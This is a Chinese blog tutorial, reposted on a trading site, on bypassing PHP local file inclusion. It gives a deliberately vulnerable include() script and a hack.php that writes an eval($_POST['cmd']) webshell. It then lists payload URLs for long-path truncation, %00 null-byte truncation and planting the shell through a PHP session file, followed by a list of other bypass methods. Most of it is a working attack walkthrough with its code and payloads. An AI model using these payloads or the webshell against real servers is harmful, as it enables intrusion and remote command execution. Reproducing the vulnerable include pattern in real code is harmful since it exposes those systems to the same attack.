任意文件包含漏洞的绕过方式

   日期:2020-08-24     浏览:173    评论:0    
核心提示:本文转自行云博客https://www.xy586.top/文章目录前期准备长目录截断原理payload截断原理payload基于session机制传马条件:payload总结前期准备file.php代码hack.php代码

本文转自行云博客https://www.xy586.top/

文章目录

    • 前期准备
    • 长目录截断
      • 原理
      • payload
    • %00截断
      • 原理
      • payload
    • 基于session机制传马
      • 条件:
      • payload
    • 总结

前期准备

file.php代码

<?php
    $a = $_GET['a'];
    include($a.'.html');
 ?>

hack.php代码

<?php 
fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);?>');
?>

长目录截断

原理

在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。

正常访问

payload

使用.绕过

http://192.168.232.128/file.php?a=hack.php.......................................................................................................................................................................................................................................................

成功生成木马文件

蚁剑连接

使用./绕过

http://192.168.232.128/file.php?a=hack.php././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././


PS:当这些符号被过滤时,我们可以尝试URL编码绕过。即当“.”和“./”被过滤时,我们可以尝试使用URL编码绕过“.”–>%2E,“/”–>%2F

%00截断

原理

php基于c语言,是以0字符进行结尾的,所以可以用%00进行截断,之后的字符就不会再读取

条件:

magic_quotes_gpc=off

php<5.3.4

payload

http://192.168.232.128/file.php?a=hack.php%00

基于session机制传马

条件:

知道session的存储位置(或者通过phpinfo获取到存储位置)
session的值可控
存在本地文件包含漏洞

设置session的PHP文件

<?php
session_start();
$ctfs=$_GET['s'];
$_SESSION["username"]=$ctfs;
?>

payload

http://192.168.232.128/se.php?s=<?php fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]);?>');?>

F12通过network找到cookie中的PHPSESSID

然后通过之前的file.php文件去包含session存放的文件

http://192.168.232.128/file.php?a=../tmp/tmp/sess_8e2fe1323579620d07c94cfd568be488%00

木马生成成功

总结

可能的绕过方式

  • 双写绕过
  • 使用绝对路径
  • 对于Windows系统可以使用反斜杠 \
  • 编码绕过
  • 使用伪协议
  • 等等…
 
打赏
 本文转载自:网络 
所有权利归属于原作者,如文章来源标示错误或侵犯了您的权利请联系微信13520258486
更多>最近资讯中心
更多>最新资讯中心
0相关评论

新手指南
采购商服务
供应商服务
交易安全
关注我们
手机网站:
新浪微博:
微信关注:

13520258486

周一至周五 9:00-18:00
(其他时间联系在线客服)

24小时在线客服